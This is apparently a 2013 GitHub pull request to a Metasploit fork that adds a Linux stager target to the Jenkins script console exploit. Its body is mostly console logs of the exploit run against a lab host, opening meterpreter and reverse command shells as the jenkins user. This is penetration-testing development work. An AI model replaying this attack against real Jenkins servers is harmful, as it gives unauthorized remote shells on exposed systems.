zeroSteiner/metasploit-framework — pull request #1 by jvazquez-r7 (2013-01-20 12:45:40+00:00)
Title: Added target for linux stager

Hi @zeroSteiner,

I've added a new target for linux staging so native meterpreter can be executed. The Unix CMD target remains because it's always useful. CMD payloads are fine and the staging can fail in some targets! If you agree with the code, please land this pull request into your branch, and the original pull request ( https://github.com/rapid7/metasploit-framework/pull/1338 ) to the msf repo will be automatically updated!

* Staging working

msf exploit(jenkins_script_console) > show options

Module options (exploit/multi/http/jenkins_script_console):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
Proxies no Use a proxy chain
RHOST 192.168.1.154 yes The target address
RPORT 8080 yes The target port
TARGETURI / yes The path to jenkins
USERNAME no The username to authenticate as
VHOST no HTTP server virtual host

Payload options (linux/x86/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
DebugOptions 0 no Debugging options for POSIX meterpreter
LHOST 192.168.1.128 yes The listen address
LPORT 4444 yes The listen port
PrependFork no Add a fork() / exit_group() (for parent) code

Exploit target:

Id Name
-- ----
1 Linux

msf exploit(jenkins_script_console) > reload
[*] Reloading module...
msf exploit(jenkins_script_console) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444
[*] Checking access to the script console
[*] No authentication required, skipping login...
[*] 192.168.1.154:8080 - Sending Linux stager...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.1.154
[*] Meterpreter session 12 opened (192.168.1.128:4444 -> 192.168.1.154:46726) at 2013-01-20 13:37:06 +0100
[!] Deleting /tmp/IVVrDu payload file

meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 (i686)
Architecture : i686
Meterpreter : x86/linux
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.154 - Meterpreter session 12 closed. Reason: User exit

* CMD payload too:

msf exploit(jenkins_script_console) > set target 2
target => 2
msf exploit(jenkins_script_console) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf exploit(jenkins_script_console) > rexploit
[*] Reloading module...

[*] Checking access to the script console
[*] Started reverse double handler
[*] No authentication required, skipping login...
[*] 192.168.1.154:8080 - Sending payload...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo xKrJSZPrjD3TsbcS;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "xKrJSZPrjD3TsbcS\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 13 opened (192.168.1.128:4444 -> 192.168.1.154:46728) at 2013-01-20 13:37:30 +0100

id
uid=116(jenkins) gid=65534(nogroup) groups=65534(nogroup)
^C
Abort session 13? [y/N] y

[*] 192.168.1.154 - Command shell session 13 closed. Reason: User exit
msf exploit(jenkins_script_console) >